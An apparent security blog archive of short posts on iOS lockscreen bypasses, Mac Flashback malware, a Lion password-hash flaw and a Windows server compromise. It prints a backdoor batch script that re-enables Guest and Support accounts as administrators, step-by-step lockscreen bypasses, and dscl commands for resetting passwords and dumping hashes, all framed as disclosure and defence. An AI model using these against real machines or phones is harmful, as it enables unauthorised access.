New Lockscreen Bypass in iOS 6.1
In a vulnerability that’s quite similar to one in iOS 4.1 a couple years ago, another lockscreen bypass has been discovered in iOS 6.1 which allows someone with physical access to your iPhone to make calls, view and modify your contacts, send an email to your contacts, listen to your voicemail, and access your photos (by attempting to add one of these to a contact).
The method for this bypass is fairly simple (see the video below for it in action):
- Swipe to unlock and then tap Emergency Call
- Make an emergency call (eg. 112/911) and immediately cancel it (please don’t unnecessarily call the emergency services ;)
- Press the power button twice
- Slide to unlock
- Hold down the power button for a couple seconds and then tap Emergency Call again.
- …
- Profit!
I should point out that this doesn’t seem to work on my iPhone 4 for some reason. Something does happen, but I just get a black screen until I press something whereupon I’m booted back to the lock screen.
Pwn Plug Command Execution Using USB Sticks
This is something I’ve been meaning to do for a while, and whilst the title may not sound all that intuitive, it’s actually referring to something pretty simple. When I got my Pwnie Express Pwn Plugs, there were several times when I wished I could run commands on them when I couldn’t connect to them over SSH, for example when I couldn’t remember the last static IP I’d set. Yes, I could use the serial connection, but somehow that didn’t fully appeal to me.
So I came up with the idea of being able to use a USB stick to carry a command ‘payload’ that would get automatically executed upon being plugged into the Pwn Plug. Now I can run commands such as ifconfig, kick off an nmap scan, whatever I need; and all the results are output back onto the USB stick.
Note that I chose to do this on my Pwn Plug, but it should work equally well on other embedded devices such as the MiniPwner with a bit of tweaking.
Flashback Malware Exploiting Unpatched Java on Macs [Updated]
There’s a piece of Mac malware, known as ‘Flashback’, that’s going around and takes advantage of a Java vulnerability in order to compromise and infect Macs online. Although the vulnerability isn’t Mac-specific, and was patched back in February, Apple has yet to distribute that update to everyone via Software Update, leaving everyone vulnerable.
Apparently the team behind this malware is quite efficient at updating it, and so they have been successful in spreading it around. Lion doesn’t come with Java by default, so unless you’ve manually installed it, you’re safe. If you have installed Java on Lion however, I don’t know yet whether Lion’s built-in anti-malware is being updated quickly enough to keep up with the new malware variants (although I highly doubt it).
If you are running Snow Leopard (or earlier), or Lion with a manually-installed Java, then the best thing to do is disable it. The majority of web users do not need Java on a regular basis. I recommend disabling Java system-wide by going to Applications > Utilities > Java Preferences and then unchecking all the checkboxes in the General tab. If you use Safari to browse, you can disable Java by going to Safari > Preferences > Security and unchecking ‘Enable Java‘.
Keep an eye out for an upcoming Java update from Apple.
[Updated] Seems all the talk about this has nudged Apple to act! They’ve released Java for OS X Lion 2012-001 and Java for Mac OS X 10.6 Update 7. F-Secure have released a free Flashback remover tool, and Apple have announced they are also working on software to detect and remove Flashback malware.
Source: F-Secure
There Is No Camera Lock Screen Bypass in iOS 5.1
There have been reports (and here) of iOS 5.1 containing a camera bypass tied to the new camera shortcut on the lock screen. The people who have reported this are sadly confused about the security timeout enforced by iOS’s Require Passcode setting (Settings > General > Passcode Lock > Require Passcode). If your Require Passcode setting is set to anything other than Immediately, then your device (and the camera roll from the camera shortcut) will be accessible for the entire duration of time specified (ie. 1 minute or 5 minutes).
As always, the best setting for Require Passcode is Immediately. That way you know that when you lock your device, it is actually locked, and will prevent someone from gaining access to it without the passcode within the minutes following the ‘lock’.
Sadly people seem all too eager to rush and report on iOS vulns before actually verifying them.
TDLR; There is no lock screen bypass in iOS 5.1 using the new camera shortcut. They were wrong.
Charlie Miller Discovers iOS Code-Signing Bypass Vulnerability
Security researcher Charlie Miller (@0xcharlie) has discovered a significant flaw in iOS which may allow a malicious app on the App Store to download and execute arbitrary unsigned code. What this means for iPhone, iPad and iPod Touch users is that installing a malicious app may allow an attacker to obtain shell access to your device, and download contacts or images.
Apple reviews every app submitted to the App Store, which has meant that iOS users have not had to worry about outright malware. Since this vulnerability allows the apps to fetch code remotely, they can perform actions not reviewed by the App Store staff. Charlie had submitted a proof-of-concept app that was approved (see video below), but has since been removed by Apple.
The reason this vulnerability works is based around some changes Apple made in iOS 4.3 last year, which allowed Mobile Safari to run javascript at a more privileged level on the devices. This change required Apple to make an exception for Safari to execute unsigned code in a particular area of memory. Charlie Miller’s bug is allegedly a very unique case that allows any app to take advantage of this, and hence run their own unsigned code.
Charlie will be presenting the vulnerability in detail at the SysCan conference in Taiwan next week. Apple has already released a developer beta of iOS 5.0.1 which patches the recent iPad Smart Cover lock screen bypass, but I would not be at all surprised if they release another beta which includes a fix for this bug. Until then, be careful to only install apps from developers you trust.
[Update] Apple has kicked Charlie out of the Developer program. At first I felt that this was an extremely bad reaction on Apple’s part. That said, Apple is probably most upset that Charlie’s proof-of-concept app could have been installed by legitimate users. Regardless of Charlie’s intentions, this could constitute malware, and he should have removed the app as soon as he saw the flaw existed. The posting of his video above probably didn’t help matters either.
Malicious Backdoor Batch Script Re-Enables Privileged Guest and Support Accounts on Windows Servers
I recently came across a Windows 2000 server that was found to have been compromised. During the investigation, both the Guest and Support_388945a0 accounts were found to had been placed in the Administrators and Remote Desktop Users groups (as the server was internet facing). Things got interesting however, when we removed these accounts from those groups and disabled them both. After logging back in a short while later, both Guest and Support accounts had been re-enabled and put back into the Admins and RDP groups.
When going to check the Windows hosts file to make sure there weren’t any modifications made to it, the following suspicious files were found in %systemroot%\system32\drivers\etc\
1.exe
2.exe
gm.dls
gmreadme
logoff.exe
netstat.exe
query.exe
t.msc
ts.exe
After some analysis, none of these files were found to be inherently malicious, but are instead used by a malicious batch script to enable the Guest and Support accounts with a specific password, and add them to the Admins and RDP group. The 1.exe file, for example, is just a executable with account-management capabilities.
In C:\WINDOWS\Application Compatibility Scripts\Install\Template there was a batch script called “.bat” with the following contents:
@cd %systemroot%\system32\drivers\etc\
@1 localgroup “Remote Desktop Users” SUPPORT_388945a0 /add
@1 localgroup “Remote Desktop Users” guest /add
@1 user guest QQqqaa123321
@1 user guest QQqqaa123321 /add
@1 localgroup administrators guest /add
@1 user guest /active:yes
@1 user SUPPORT_388945a0 QQqqaa123321
@1 user SUPPORT_388945a0 QQqqaa123321 /add
@1 localgroup administrators SUPPORT_388945a0 /add
@1 user SUPPORT_388945a0 /active:yes
At this point it’s fairly evident what’s going on, this bat script is being run periodically, and runs 1.exe to ensure that both the Guest and Support_338945a0 accounts are present, and in the Administrators and Remote Desktop Users groups. It also sets the password to both of those accounts to ‘QQqqaa123321’. If you find these files on your system, consider that server compromised. Remove the files and disable those accounts in the first instance, but a full rebuild is highly recommended to rule out the possibility of other backdoors or rootkits.
These types of batch scripts are not uncommon for backdoor trojans. However, I couldn’t find any references to this particular backdoor, so thought I would post about this in case anyone else searches for information about it. Note that at the time of writing, this batch script is not picked up by any anti-virus software.
iPad Lock Screen Bypass Vulnerability using Smart Cover [Patched]
Marc Gurman at 9to5Mac has discovered a vulnerability on the iPad that allows for a limited bypass of the device’s lockscreen. Anyone with an iPad Smart Cover (or fridge magnet) can gain access to the previously-open app (or the home screen if no app was open).
By holding the power button to bring up the ‘Power Off’ screen, closing the smart cover, re-opening it (or just sliding a fridge magnet along the right-hand side of the device), and clicking cancel, the attacker will be dropped into the screen that was open before the iPad was locked. If the attacker gets dropped into the home screen, then they’ll be able to see the installed apps, but won’t be able to open anything. If Safari or Mail (or any other app) was the open when the device was locked, then the attacker would have access to that app.
Unlike Siri being available from the lock screen, which is not a security flaw (an unintended behaviour), this one actually is; and although an attacker does not get full control of the iPad, the severity depends on whether a sensitive app was being used before the device was locked.
Luckily it is possible to protect yourself against this bug in the interim by disabling Smart Covers in Settings > General > iPad Cover Lock/Unlock > Off. Expect Apple to patch this in iOS 5.0.1. Check out 9to5’s video below for a demonstration:
[Update] Apple did indeed patch this bug in iOS 5.0.1. Those of you who disabled your Smart Covers for security purposes can now re-enable them!
Apple Releases Slew of Security Updates (OSX, Safari, iTunes, iOS 5, aTV)
I wasn’t going to post about last week’s fairly significant iTunes update, but then Apple went and patched a whole bunch of vulnerabilities across the board. Some of these are fairly significant so I thought I would provide a short breakdown of the changes. Either way, you should definitely be patching all of your Apple devices and software tonight.
Hit the jump for a summary of the key vulnerabilities patched in Apple’s security updates.
WebKnock.org: An fwknop SPA web-interface
Vasilis Mavroudis has launched WebKnock.org, a web-based front end to the fwknop (Single Packet Authorization) client. It does not yet seem to support the full suite of fwknop features, but the WebKnock site allows you to send basic auth packets to your fwknop server in order to open firewall ports. This can definitely come in handy if you need access to a port on your server, and don’t have the fwknop client handy on the computer, Android or iPhone (coming soon).
Note that although WebKnock uses SSL to protect the HTTP session, you are required to supply your fwknop password. If logged or intercepted, your knock details could be used to open firewall ports or even run commands on your server (depending on how you’ve configured fwknop). While WebKnock may be useful in a bind, from a purely security standpoint I don’t recommend using it regularly due to this risk. If you do use it, you should consider changing your fwknop passphrase.
I hope that WebKnock is eventually open-sourced to allow both for the code to be reviewed, and for people to host their own instance of WebKnock. It would also be nice to see more fwknop features being added, including the ability to define a username, and open multiple ports at once (eg. by entering: tcp/22 udp/53 tcp/80). The ‘Allow IP’ field should also get pre-populated with the visitor’s IP address for convenience.
Source: Cipherdyne
Extracting and Cracking Mac OS X Lion Password Hashes [Updated]
The Defence in Depth blog has a post about a flaw in Lion’s redesigned authentication mechanisms and Directory Services. In short, it is possible to change the password of the currently logged in user by simply running the following command in the terminal, and it won’t ask you for the user’s current password:
$ dscl localhost -passwd /Search/Users/<username>
In Lion it is also easy to dump a user’s SHA-512 password hash using the following command:
$ dscl localhost -read /Search/Users/<username>
Then look for the dsAttrTypeNative:ShadowHashData chunk in the output (sample below). The hex string in red is the salt, and the green is the hash.
62706c69 73743030 d101025d 53414c54 45442d53 48413531 324f1044 74911f72 3bd2f66a 3255e0af 4b85c639 776d510b 63f0b939 c432ab6e 082286c4 7586f19b 4e2f3aab 74229ae1 24ccb11e 916a7a1c 9b29c64b d6b0fd6c bd22e7b1 f0ba1673 080b1900 00000000 00010100 00000000 00000300 00000000 00000000 00000000 000060
Cracking password hashes can be done using his custom Python script, or John the Ripper (with the Jumbo patch). Note that even if someone manages to obtain your password hash, if you’re using a strong password it will be extremely difficult for them to recover it. Seems like both of these are important but fairly low-risk flaws introduced into Lion. Hopefully Apple will look into these for the next update.
[Update 1] While waiting for an Apple-supplied security update, it is possible to protect yourself from this vulnerability by adjusting the permissions on dscl:
sudo chmod go-x /usr/bin/dscl
This makes it so that only root can execute dscl. To revert this simply run:
sudo chmod go+x /usr/bin/dscl
[Update 2] This vulnerability was patched in Mac OS X 10.7.2.
Loading ...
